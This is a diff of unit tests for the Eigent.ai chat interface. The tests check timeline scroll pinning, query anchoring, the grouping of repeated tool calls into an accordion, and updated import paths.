function messageNode(index: number): ChatMessageNode {
|
||||
function messageNode(
|
||||
index: number,
|
||||
role: ChatMessageNode['role'] = 'assistant'
|
||||
): ChatMessageNode {
|
||||
return {
|
||||
id: `message-${index}`,
|
||||
eventId: `event-${index}`,
|
||||
|
|
@ -55,12 +76,43 @@ function messageNode(index: number): ChatMessageNode {
|
|||
eventType: 'message.completed',
|
||||
legacyStep: null,
|
||||
kind: 'message',
|
||||
role: 'assistant',
|
||||
role,
|
||||
content: `Message ${index}`,
|
||||
status: 'complete',
|
||||
};
|
||||
}
|
||||
|
||||
function createScrollContainer(options?: {
|
||||
clientHeight?: number;
|
||||
scrollHeight?: number;
|
||||
scrollTop?: number;
|
||||
}) {
|
||||
const el = document.createElement('div');
|
||||
let scrollTop = options?.scrollTop ?? 0;
|
||||
const clientHeight = options?.clientHeight ?? 400;
|
||||
const scrollHeight = options?.scrollHeight ?? 2000;
|
||||
Object.defineProperties(el, {
|
||||
clientHeight: { get: () => clientHeight },
|
||||
scrollHeight: { get: () => scrollHeight },
|
||||
scrollTop: {
|
||||
get: () => scrollTop,
|
||||
set: (value: number) => {
|
||||
scrollTop = value;
|
||||
},
|
||||
},
|
||||
});
|
||||
el.scrollTo = vi.fn((arg?: ScrollToOptions | number, y?: number) => {
|
||||
if (typeof arg === 'number') {
|
||||
scrollTop = y ?? arg;
|
||||
return;
|
||||
}
|
||||
if (arg && typeof arg.top === 'number') {
|
||||
scrollTop = arg.top;
|
||||
}
|
||||
});
|
||||
return el;
|
||||
}
|
||||
|
||||
function interactionNode(
|
||||
eventId: string,
|
||||
status: 'requested' | 'responded',
|
||||
|
|
@ -95,6 +147,14 @@ function projection(nodes: ChatProjectionState['nodes']): ChatProjectionState {
|
|||
};
|
||||
}
|
||||
|
||||
describe('isChatTimelineNearBottom', () => {
|
||||
it('treats the composer inset as still pinned, not a 120px padding zone', () => {
|
||||
expect(isChatTimelineNearBottom(150, 200)).toBe(true);
|
||||
expect(isChatTimelineNearBottom(120, 128)).toBe(true);
|
||||
expect(isChatTimelineNearBottom(400, 200)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('EventNativeProjectTimeline', () => {
|
||||
beforeEach(() => {
|
||||
mocks.projection = projection([]);
|
||||
|
|
@ -103,6 +163,13 @@ describe('EventNativeProjectTimeline', () => {
|
|||
errorCode: null,
|
||||
eventsTruncated: false,
|
||||
};
|
||||
if (!globalThis.ResizeObserver) {
|
||||
globalThis.ResizeObserver = class {
|
||||
observe() {}
|
||||
unobserve() {}
|
||||
disconnect() {}
|
||||
} as unknown as typeof ResizeObserver;
|
||||
}
|
||||
});
|
||||
|
||||
it('renders semantic event nodes through the event timeline', () => {
|
||||
|
|
@ -279,4 +346,118 @@ describe('EventNativeProjectTimeline', () => {
|
|||
screen.getByText(/earlier history is outside this local window/)
|
||||
).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('pins to a new user task even when the user was reading earlier history', () => {
|
||||
const scrollContainer = createScrollContainer({
|
||||
scrollTop: 0,
|
||||
clientHeight: 400,
|
||||
scrollHeight: 2000,
|
||||
});
|
||||
const scrollContainerRef = { current: scrollContainer };
|
||||
mocks.projection = projection([messageNode(0)]);
|
||||
|
||||
const { rerender } = render(
|
||||
<EventNativeProjectTimeline
|
||||
projectId="project-1"
|
||||
scrollContainerRef={scrollContainerRef}
|
||||
scrollBottomInsetPx={200}
|
||||
/>
|
||||
);
|
||||
|
||||
expect(scrollContainer.scrollTo).toHaveBeenCalled();
|
||||
vi.mocked(scrollContainer.scrollTo).mockClear();
|
||||
scrollContainer.scrollTop = 0;
|
||||
scrollContainer.dispatchEvent(new Event('scroll'));
|
||||
|
||||
mocks.projection = projection([messageNode(0), messageNode(1, 'user')]);
|
||||
rerender(
|
||||
<EventNativeProjectTimeline
|
||||
projectId="project-1"
|
||||
scrollContainerRef={scrollContainerRef}
|
||||
scrollBottomInsetPx={200}
|
||||
/>
|
||||
);
|
||||
|
||||
expect(scrollContainer.scrollTo).toHaveBeenCalledWith({
|
||||
top: 2000,
|
||||
behavior: 'auto',
|
||||
});
|
||||
});
|
||||
|
||||
it('anchors the second user query below the Session header gap', () => {
|
||||
const scrollContainer = createScrollContainer({
|
||||
scrollTop: 500,
|
||||
clientHeight: 400,
|
||||
scrollHeight: 2000,
|
||||
});
|
||||
const scrollContainerRef = { current: scrollContainer };
|
||||
mocks.projection = projection([
|
||||
messageNode(0, 'user'),
|
||||
messageNode(1, 'assistant'),
|
||||
]);
|
||||
|
||||
const { rerender } = render(
|
||||
<EventNativeProjectTimeline
|
||||
projectId="project-1"
|
||||
scrollContainerRef={scrollContainerRef}
|
||||
scrollBottomInsetPx={200}
|
||||
/>
|
||||
);
|
||||
|
||||
vi.mocked(scrollContainer.scrollTo).mockClear();
|
||||
scrollContainer.scrollTop = 500;
|
||||
scrollContainer.dispatchEvent(new Event('scroll'));
|
||||
|
||||
mocks.projection = projection([
|
||||
messageNode(0, 'user'),
|
||||
messageNode(1, 'assistant'),
|
||||
messageNode(2, 'user'),
|
||||
]);
|
||||
rerender(
|
||||
<EventNativeProjectTimeline
|
||||
projectId="project-1"
|
||||
scrollContainerRef={scrollContainerRef}
|
||||
scrollBottomInsetPx={200}
|
||||
/>
|
||||
);
|
||||
|
||||
expect(scrollContainer.scrollTop).toBe(456);
|
||||
expect(scrollContainer.scrollTo).not.toHaveBeenCalledWith({
|
||||
top: 2000,
|
||||
behavior: 'auto',
|
||||
});
|
||||
});
|
||||
|
||||
it('does not follow a new assistant event when the user has scrolled up', () => {
|
||||
const scrollContainer = createScrollContainer({
|
||||
scrollTop: 0,
|
||||
clientHeight: 400,
|
||||
scrollHeight: 2000,
|
||||
});
|
||||
const scrollContainerRef = { current: scrollContainer };
|
||||
mocks.projection = projection([messageNode(0)]);
|
||||
|
||||
const { rerender } = render(
|
||||
<EventNativeProjectTimeline
|
||||
projectId="project-1"
|
||||
scrollContainerRef={scrollContainerRef}
|
||||
scrollBottomInsetPx={200}
|
||||
/>
|
||||
);
|
||||
|
||||
vi.mocked(scrollContainer.scrollTo).mockClear();
|
||||
scrollContainer.scrollTop = 0;
|
||||
scrollContainer.dispatchEvent(new Event('scroll'));
|
||||
|
||||
mocks.projection = projection([messageNode(0), messageNode(1)]);
|
||||
rerender(
|
||||
<EventNativeProjectTimeline
|
||||
projectId="project-1"
|
||||
scrollContainerRef={scrollContainerRef}
|
||||
scrollBottomInsetPx={200}
|
||||
/>
|
||||
);
|
||||
|
||||
expect(scrollContainer.scrollTo).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
|
@ -13,16 +13,16 @@
|
|||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import type { ChatProjectionNode } from '@/lib/projector/chat';
|
||||
import { render, screen } from '@testing-library/react';
|
||||
import { fireEvent, render, screen } from '@testing-library/react';
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
import { EventRenderer } from './EventRenderer';
|
||||
import { EventTimeline } from './EventTimeline';
|
||||
import { createChatTimelinePresentationPolicyRegistry } from './presentationPolicy';
|
||||
import { EventRenderer } from '@/components/ChatBox/EventTimeline/EventRenderer';
|
||||
import { EventTimeline } from '@/components/ChatBox/EventTimeline/EventTimeline';
|
||||
import { createChatTimelinePresentationPolicyRegistry } from '@/components/ChatBox/EventTimeline/presentationPolicy';
|
||||
import {
|
||||
createEventRendererRegistry,
|
||||
createEventTypeRendererRegistry,
|
||||
} from './rendererRegistry';
|
||||
} from '@/components/ChatBox/EventTimeline/rendererRegistry';
|
||||
|
||||
const commonNode = {
|
||||
projectId: 'project-1',
|
||||
|
|
@ -101,7 +101,8 @@ function correlatedHumanReplyNode(
|
|||
|
||||
function activityNode(
|
||||
id: string,
|
||||
title: string
|
||||
title: string,
|
||||
overrides: Partial<Extract<ChatProjectionNode, { kind: 'activity' }>> = {}
|
||||
): Extract<ChatProjectionNode, { kind: 'activity' }> {
|
||||
return {
|
||||
...commonNode,
|
||||
|
|
@ -112,6 +113,7 @@ function activityNode(
|
|||
activityType: 'tool',
|
||||
status: 'completed',
|
||||
title,
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
|
|
@ -304,6 +306,176 @@ describe('EventTimeline', () => {
|
|||
expect(card).toHaveTextContent('Quarterly metrics');
|
||||
});
|
||||
|
||||
it('groups consecutive duplicate tool calls behind an optional accordion', () => {
|
||||
render(
|
||||
<EventTimeline
|
||||
nodes={[
|
||||
activityNode('web-fetch-1', 'Fetch first page', {
|
||||
toolkitName: 'WebFetchToolkit',
|
||||
methodName: 'Web_fetch_and_analyze',
|
||||
detail: 'First result',
|
||||
}),
|
||||
activityNode('web-fetch-2', 'Fetch second page', {
|
||||
toolkitName: 'WebFetchToolkit',
|
||||
methodName: 'Web_fetch_and_analyze',
|
||||
detail: 'Second result',
|
||||
}),
|
||||
activityNode('web-fetch-3', 'Fetch third page', {
|
||||
toolkitName: 'WebFetchToolkit',
|
||||
methodName: 'Web_fetch_and_analyze',
|
||||
detail: 'Third result',
|
||||
}),
|
||||
]}
|
||||
/>
|
||||
);
|
||||
|
||||
const group = screen.getByLabelText(
|
||||
'Repeated tool calls: WebFetchToolkit · Web_fetch_and_analyze'
|
||||
);
|
||||
const trigger = screen.getByRole('button', {
|
||||
name: /WebFetchToolkit · Web_fetch_and_analyze · 3 events/,
|
||||
});
|
||||
|
||||
expect(screen.getAllByRole('listitem')).toHaveLength(1);
|
||||
expect(group).toHaveAttribute('data-tool-call-count', '3');
|
||||
expect(trigger).toHaveAttribute('aria-expanded', 'false');
|
||||
expect(
|
||||
screen.queryByText('WebFetchToolkit · Web_fetch_and_analyze')
|
||||
).not.toBeInTheDocument();
|
||||
|
||||
fireEvent.click(trigger);
|
||||
|
||||
expect(trigger).toHaveAttribute('aria-expanded', 'true');
|
||||
expect(
|
||||
screen.getAllByText('WebFetchToolkit · Web_fetch_and_analyze')
|
||||
).toHaveLength(3);
|
||||
expect(screen.getByText('Second result')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('keeps one tool call as a normal activity row without an accordion', () => {
|
||||
render(
|
||||
<EventTimeline
|
||||
nodes={[
|
||||
activityNode('single-fetch', 'Fetch one page', {
|
||||
toolkitName: 'WebFetchToolkit',
|
||||
methodName: 'Web_fetch_and_analyze',
|
||||
}),
|
||||
]}
|
||||
/>
|
||||
);
|
||||
|
||||
expect(screen.getByText('Fetch one page')).toBeInTheDocument();
|
||||
expect(
|
||||
screen.queryByLabelText(/Repeated tool calls:/)
|
||||
).not.toBeInTheDocument();
|
||||
expect(screen.queryByRole('button')).not.toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('does not group matching calls across a chronological boundary', () => {
|
||||
render(
|
||||
<EventTimeline
|
||||
nodes={[
|
||||
activityNode('fetch-before', 'Fetch before notice', {
|
||||
toolkitName: 'WebFetchToolkit',
|
||||
methodName: 'Web_fetch_and_analyze',
|
||||
}),
|
||||
noticeNode('fetch-boundary', 'Reviewing fetched sources'),
|
||||
activityNode('fetch-after', 'Fetch after notice', {
|
||||
toolkitName: 'WebFetchToolkit',
|
||||
methodName: 'Web_fetch_and_analyze',
|
||||
}),
|
||||
]}
|
||||
/>
|
||||
);
|
||||
|
||||
expect(screen.getAllByRole('listitem')).toHaveLength(3);
|
||||
expect(
|
||||
screen.queryByLabelText(/Repeated tool calls:/)
|
||||
).not.toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('counts paired lifecycle events as calls rather than event frames', () => {
|
||||
const sourceNodes = [
|
||||
activityNode('fetch-1-start', 'Fetch first page', {
|
||||
eventType: 'tool.started',
|
||||
status: 'running',
|
||||
toolkitName: 'WebFetchToolkit',
|
||||
methodName: 'Web_fetch_and_analyze',
|
||||
toolCallId: 'fetch-call-1',
|
||||
detail: 'First request',
|
||||
}),
|
||||
activityNode('fetch-1-end', 'Fetch first page', {
|
||||
eventType: 'tool.completed',
|
||||
status: 'completed',
|
||||
toolkitName: 'WebFetchToolkit',
|
||||
methodName: 'Web_fetch_and_analyze',
|
||||
toolCallId: 'fetch-call-1',
|
||||
detail: 'First response',
|
||||
}),
|
||||
activityNode('fetch-2-start', 'Fetch second page', {
|
||||
eventType: 'tool.started',
|
||||
status: 'running',
|
||||
toolkitName: 'WebFetchToolkit',
|
||||
methodName: 'Web_fetch_and_analyze',
|
||||
toolCallId: 'fetch-call-2',
|
||||
}),
|
||||
activityNode('fetch-2-end', 'Fetch second page', {
|
||||
eventType: 'tool.completed',
|
||||
status: 'completed',
|
||||
toolkitName: 'WebFetchToolkit',
|
||||
methodName: 'Web_fetch_and_analyze',
|
||||
toolCallId: 'fetch-call-2',
|
||||
}),
|
||||
] as const;
|
||||
|
||||
render(<EventTimeline nodes={sourceNodes} />);
|
||||
|
||||
const group = screen.getByLabelText(
|
||||
'Repeated tool calls: WebFetchToolkit · Web_fetch_and_analyze'
|
||||
);
|
||||
expect(group).toHaveAttribute('data-tool-call-count', '2');
|
||||
expect(group).toHaveTextContent(
|
||||
'WebFetchToolkit · Web_fetch_and_analyze · 2 events'
|
||||
);
|
||||
expect(sourceNodes).toHaveLength(4);
|
||||
expect(sourceNodes[0].status).toBe('running');
|
||||
|
||||
fireEvent.click(screen.getByRole('button'));
|
||||
expect(
|
||||
screen.getByText(/First request\s+First response/)
|
||||
).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('preserves an open repeated-call accordion as late calls arrive', () => {
|
||||
const first = activityNode('late-fetch-1', 'First call', {
|
||||
toolkitName: 'WebFetchToolkit',
|
||||
methodName: 'Web_fetch_and_analyze',
|
||||
});
|
||||
const second = activityNode('late-fetch-2', 'Second call', {
|
||||
toolkitName: 'WebFetchToolkit',
|
||||
methodName: 'Web_fetch_and_analyze',
|
||||
});
|
||||
const third = activityNode('late-fetch-3', 'Third call', {
|
||||
toolkitName: 'WebFetchToolkit',
|
||||
methodName: 'Web_fetch_and_analyze',
|
||||
});
|
||||
const view = render(<EventTimeline nodes={[first, second]} />);
|
||||
|
||||
fireEvent.click(screen.getByRole('button'));
|
||||
expect(screen.getByRole('button')).toHaveAttribute('aria-expanded', 'true');
|
||||
|
||||
view.rerender(<EventTimeline nodes={[first, second, third]} />);
|
||||
|
||||
expect(screen.getByRole('button')).toHaveAttribute('aria-expanded', 'true');
|
||||
expect(
|
||||
screen.getAllByText('WebFetchToolkit · Web_fetch_and_analyze')
|
||||
).toHaveLength(3);
|
||||
expect(screen.getByLabelText(/Repeated tool calls:/)).toHaveAttribute(
|
||||
'data-tool-call-count',
|
||||
'3'
|
||||
);
|
||||
});
|
||||
|
||||
it('never merges interaction receipts across ids or runs', () => {
|
||||
render(
|
||||
<EventTimeline
|
||||
|
|
@ -0,0 +1,117 @@
|
|||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import { groupRepeatedToolCalls } from '@/components/ChatBox/EventTimeline/activityGrouping';
|
||||
import type { ChatProjectionNode } from '@/lib/projector/chat';
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
type ActivityNode = Extract<ChatProjectionNode, { kind: 'activity' }>;
|
||||
|
||||
function toolNode(
|
||||
id: string,
|
||||
overrides: Partial<ActivityNode> = {}
|
||||
): ActivityNode {
|
||||
return {
|
||||
id,
|
||||
eventId: `event-${id}`,
|
||||
projectId: 'project-1',
|
||||
runId: 'run-1',
|
||||
createdAt: '2026-08-13T00:00:00Z',
|
||||
runSequence: 1,
|
||||
cloudCursor: null,
|
||||
eventType: 'tool.completed',
|
||||
legacyStep: null,
|
||||
kind: 'activity',
|
||||
activityType: 'tool',
|
||||
status: 'completed',
|
||||
title: 'WebFetchToolkit.Web_fetch_and_analyze',
|
||||
toolkitName: 'WebFetchToolkit',
|
||||
methodName: 'Web_fetch_and_analyze',
|
||||
agentId: 'agent-1',
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
describe('groupRepeatedToolCalls', () => {
|
||||
it('groups exact consecutive calls while preserving the source nodes', () => {
|
||||
const nodes = [toolNode('one'), toolNode('two'), toolNode('three')];
|
||||
const rows = groupRepeatedToolCalls(nodes);
|
||||
|
||||
expect(rows).toHaveLength(1);
|
||||
expect(rows[0]).toMatchObject({
|
||||
rowKind: 'repeated-tool-calls',
|
||||
toolkitName: 'WebFetchToolkit',
|
||||
methodName: 'Web_fetch_and_analyze',
|
||||
status: 'completed',
|
||||
});
|
||||
if (rows[0]?.rowKind !== 'repeated-tool-calls') {
|
||||
throw new Error('Expected repeated tool group');
|
||||
}
|
||||
expect(rows[0].calls).toHaveLength(3);
|
||||
expect(nodes.map((node) => node.id)).toEqual(['one', 'two', 'three']);
|
||||
});
|
||||
|
||||
it('uses FIFO lifecycle pairing when older events have no call id', () => {
|
||||
const rows = groupRepeatedToolCalls([
|
||||
toolNode('start-one', { eventType: 'tool.started', status: 'running' }),
|
||||
toolNode('start-two', { eventType: 'tool.started', status: 'running' }),
|
||||
toolNode('end-one'),
|
||||
toolNode('end-two'),
|
||||
]);
|
||||
|
||||
expect(rows).toHaveLength(1);
|
||||
if (rows[0]?.rowKind !== 'repeated-tool-calls') {
|
||||
throw new Error('Expected repeated tool group');
|
||||
}
|
||||
expect(rows[0].calls).toHaveLength(2);
|
||||
expect(rows[0].calls.map((call) => call.nodes.length)).toEqual([2, 2]);
|
||||
});
|
||||
|
||||
it('does not group the same method across agents or runs', () => {
|
||||
const rows = groupRepeatedToolCalls([
|
||||
toolNode('agent-one'),
|
||||
toolNode('agent-two', { agentId: 'agent-2' }),
|
||||
toolNode('run-two', { agentId: 'agent-2', runId: 'run-2' }),
|
||||
]);
|
||||
|
||||
expect(rows).toHaveLength(3);
|
||||
expect(rows.every((row) => row.rowKind === 'node')).toBe(true);
|
||||
});
|
||||
|
||||
it('keeps different methods as independent rows', () => {
|
||||
const rows = groupRepeatedToolCalls([
|
||||
toolNode('fetch'),
|
||||
toolNode('write', {
|
||||
methodName: 'Todo_write',
|
||||
title: 'TodoToolkit.Todo_write',
|
||||
}),
|
||||
]);
|
||||
|
||||
expect(rows).toHaveLength(2);
|
||||
expect(rows.every((row) => row.rowKind === 'node')).toBe(true);
|
||||
});
|
||||
|
||||
it('surfaces failure on an otherwise completed group', () => {
|
||||
const rows = groupRepeatedToolCalls([
|
||||
toolNode('complete'),
|
||||
toolNode('failed', { eventType: 'tool.failed', status: 'failed' }),
|
||||
]);
|
||||
|
||||
expect(rows).toHaveLength(1);
|
||||
expect(rows[0]).toMatchObject({
|
||||
rowKind: 'repeated-tool-calls',
|
||||
status: 'failed',
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
@ -1,7 +1,21 @@
|
|||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import { fireEvent, render, screen } from '@testing-library/react';
|
||||
import { describe, expect, it, vi } from 'vitest';
|
||||
|
||||
import { InterruptedRunBanner } from './InterruptedRunBanner';
|
||||
import { InterruptedRunBanner } from '@/components/ChatBox/InterruptedRunBanner';
|
||||
|
||||
const props = {
|
||||
title: 'Run interrupted',
|
||||
|
|
@ -13,16 +13,15 @@
|
|||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import {
|
||||
decideHumanInteraction,
|
||||
isHumanInteractionStillPending,
|
||||
type HumanInteractionPayload,
|
||||
} from '@/service/humanInteractionApi';
|
||||
import { fireEvent, render, screen, waitFor } from '@testing-library/react';
|
||||
import { beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import {
|
||||
HumanInteractionCard,
|
||||
isHumanInteractionReadOnly,
|
||||
} from './HumanInteractionCard';
|
||||
} from '@/components/ChatBox/MessageItem/HumanInteractionCard';
|
||||
import { fireEvent, render, screen, waitFor } from '@testing-library/react';
|
||||
import { beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
const mocks = vi.hoisted(() => ({
|
||||
decideHumanInteraction: vi.fn(),
|
||||
|
|
@ -15,7 +15,7 @@
|
|||
import { render } from '@testing-library/react';
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
import { UserMessageCard } from './UserMessageCard';
|
||||
import { UserMessageCard } from '@/components/ChatBox/MessageItem/UserMessageCard';
|
||||
|
||||
describe('UserMessageCard', () => {
|
||||
it('renders as a right-aligned chat bubble with a tighter tail corner', () => {
|
||||
|
|
@ -15,8 +15,8 @@
|
|||
import { AgentStep } from '@/types/constants';
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
import { groupMessagesByQuery } from './ProjectSection';
|
||||
import { isUserMessageReplyToAsk } from './UserQueryGroup';
|
||||
import { groupMessagesByQuery } from '@/components/ChatBox/ProjectSection';
|
||||
import { isUserMessageReplyToAsk } from '@/components/ChatBox/UserQueryGroup';
|
||||
|
||||
const userMessage = (id: string, content: string) => ({
|
||||
id,
|
||||
|
|
@ -17,42 +17,42 @@ import { AgentStep, ChatTaskStatus, SessionMode } from '@/types/constants';
|
|||
import { render, screen } from '@testing-library/react';
|
||||
import { describe, expect, it, vi } from 'vitest';
|
||||
|
||||
import { groupMessagesByQuery } from './ProjectSection';
|
||||
import { UserQueryGroup } from './UserQueryGroup';
|
||||
import { groupMessagesByQuery } from '@/components/ChatBox/ProjectSection';
|
||||
import { UserQueryGroup } from '@/components/ChatBox/UserQueryGroup';
|
||||
|
||||
vi.mock('@/store/pageTabStore', () => ({
|
||||
usePageTabStore: (selector: (state: any) => unknown) =>
|
||||
selector({ openFilePreview: vi.fn() }),
|
||||
}));
|
||||
|
||||
vi.mock('./MessageItem/TaskWorkLogAccordion', () => ({
|
||||
vi.mock('@/components/ChatBox/MessageItem/TaskWorkLogAccordion', () => ({
|
||||
getTaskRunDisplayStatus: () => undefined,
|
||||
TaskWorkLogAccordion: ({ taskId }: { taskId: string }) => (
|
||||
<div data-testid="task-work-log" data-task-id={taskId} />
|
||||
),
|
||||
}));
|
||||
|
||||
vi.mock('./MessageItem/UserMessageCard', () => ({
|
||||
vi.mock('@/components/ChatBox/MessageItem/UserMessageCard', () => ({
|
||||
UserMessageCard: ({ content }: { content: string }) => <div>{content}</div>,
|
||||
}));
|
||||
|
||||
vi.mock('./MessageItem/AgentMessageCard', () => ({
|
||||
vi.mock('@/components/ChatBox/MessageItem/AgentMessageCard', () => ({
|
||||
AgentMessageCard: ({ content }: { content: string }) => <div>{content}</div>,
|
||||
}));
|
||||
|
||||
vi.mock('./MessageItem/PreparingToExecuteTasks', () => ({
|
||||
vi.mock('@/components/ChatBox/MessageItem/PreparingToExecuteTasks', () => ({
|
||||
PreparingToExecuteTasks: () => <div data-testid="preparing" />,
|
||||
}));
|
||||
|
||||
vi.mock('./MessageItem/NoticeCard', () => ({
|
||||
vi.mock('@/components/ChatBox/MessageItem/NoticeCard', () => ({
|
||||
NoticeCard: () => <div data-testid="notice" />,
|
||||
}));
|
||||
|
||||
vi.mock('./TaskBox/TaskCard', () => ({
|
||||
vi.mock('@/components/ChatBox/TaskBox/TaskCard', () => ({
|
||||
TaskCard: () => <div data-testid="task-card" />,
|
||||
}));
|
||||
|
||||
vi.mock('./TaskBox/PlanTaskBox', () => ({
|
||||
vi.mock('@/components/ChatBox/TaskBox/PlanTaskBox', () => ({
|
||||
PlanTaskBox: () => <div data-testid="plan-task-box" />,
|
||||
}));
|
||||
|
||||
85
test/unit/components/ChatBox/chatTimelineScroll.test.ts
Normal file
85
test/unit/components/ChatBox/chatTimelineScroll.test.ts
Normal file
|
|
@ -0,0 +1,85 @@
|
|||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import {
|
||||
animateChatTimelineAnchor,
|
||||
CHAT_QUERY_HEADER_GAP_PX,
|
||||
CHAT_QUERY_SCROLL_DURATION_SECONDS,
|
||||
getChatTimelineAnchorScrollTop,
|
||||
} from '@/components/ChatBox/chatTimelineScroll';
|
||||
import { animate } from 'framer-motion';
|
||||
import { describe, expect, it, vi } from 'vitest';
|
||||
|
||||
vi.mock('framer-motion', () => ({
|
||||
animate: vi.fn(
|
||||
(
|
||||
_from: number,
|
||||
to: number,
|
||||
options: { onComplete?: () => void; onUpdate: (value: number) => void }
|
||||
) => {
|
||||
options.onUpdate(to);
|
||||
options.onComplete?.();
|
||||
return { stop: vi.fn() };
|
||||
}
|
||||
),
|
||||
}));
|
||||
|
||||
describe('chat timeline query anchoring', () => {
|
||||
it('places the query below the viewport top with the default 44px gap', () => {
|
||||
expect(CHAT_QUERY_HEADER_GAP_PX).toBe(44);
|
||||
expect(
|
||||
getChatTimelineAnchorScrollTop({
|
||||
containerTop: 44,
|
||||
currentScrollTop: 500,
|
||||
targetTop: 164,
|
||||
})
|
||||
).toBe(576);
|
||||
});
|
||||
|
||||
it('never requests a negative scroll position', () => {
|
||||
expect(
|
||||
getChatTimelineAnchorScrollTop({
|
||||
containerTop: 44,
|
||||
currentScrollTop: 0,
|
||||
targetTop: 50,
|
||||
})
|
||||
).toBe(0);
|
||||
});
|
||||
|
||||
it('reserves enough content height for short replies to keep the alignment', () => {
|
||||
const container = document.createElement('div');
|
||||
const target = document.createElement('div');
|
||||
const content = document.createElement('div');
|
||||
Object.defineProperties(container, {
|
||||
clientHeight: { value: 400 },
|
||||
scrollTop: { value: 500, writable: true },
|
||||
});
|
||||
container.getBoundingClientRect = vi.fn(() => ({ top: 44 }) as DOMRect);
|
||||
target.getBoundingClientRect = vi.fn(() => ({ top: 164 }) as DOMRect);
|
||||
container.scrollTo = vi.fn();
|
||||
|
||||
animateChatTimelineAnchor(container, target, content);
|
||||
|
||||
expect(content.style.minHeight).toBe('976px');
|
||||
expect(container.scrollTop).toBe(576);
|
||||
expect(animate).toHaveBeenCalledWith(
|
||||
500,
|
||||
576,
|
||||
expect.objectContaining({
|
||||
duration: CHAT_QUERY_SCROLL_DURATION_SECONDS,
|
||||
onUpdate: expect.any(Function),
|
||||
})
|
||||
);
|
||||
});
|
||||
});
|
||||
209
test/unit/components/ChatBox/runControlArbitration.test.ts
Normal file
209
test/unit/components/ChatBox/runControlArbitration.test.ts
Normal file
|
|
@ -0,0 +1,209 @@
|
|||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import {
|
||||
selectActionableInterruptedRun,
|
||||
selectEventNativeActiveRunId,
|
||||
} from '@/components/ChatBox/runControlArbitration';
|
||||
import { createProjectViewState, type ProjectedRun } from '@/lib/projector';
|
||||
import {
|
||||
createChatProjectionState,
|
||||
type ChatProjectionNode,
|
||||
} from '@/lib/projector/chat';
|
||||
import {
|
||||
createHumanControlProjectionState,
|
||||
type HumanControlInteraction,
|
||||
} from '@/lib/projector/control';
|
||||
import type { ProjectEventStoreSnapshot } from '@/store/projectEventStore';
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
function run(
|
||||
runId: string,
|
||||
status: ProjectedRun['status'],
|
||||
overrides: Partial<ProjectedRun> = {}
|
||||
): ProjectedRun {
|
||||
return {
|
||||
runId,
|
||||
status,
|
||||
lastSequence: 2,
|
||||
runVersion: 2,
|
||||
updatedAt: '2026-08-12T10:00:00.000Z',
|
||||
origin: 'local',
|
||||
resumeBlockedReason: null,
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
function canonicalNode(runId: string, eventType = 'run.attempt_started') {
|
||||
return {
|
||||
id: `${runId}:${eventType}`,
|
||||
eventId: `${runId}:${eventType}`,
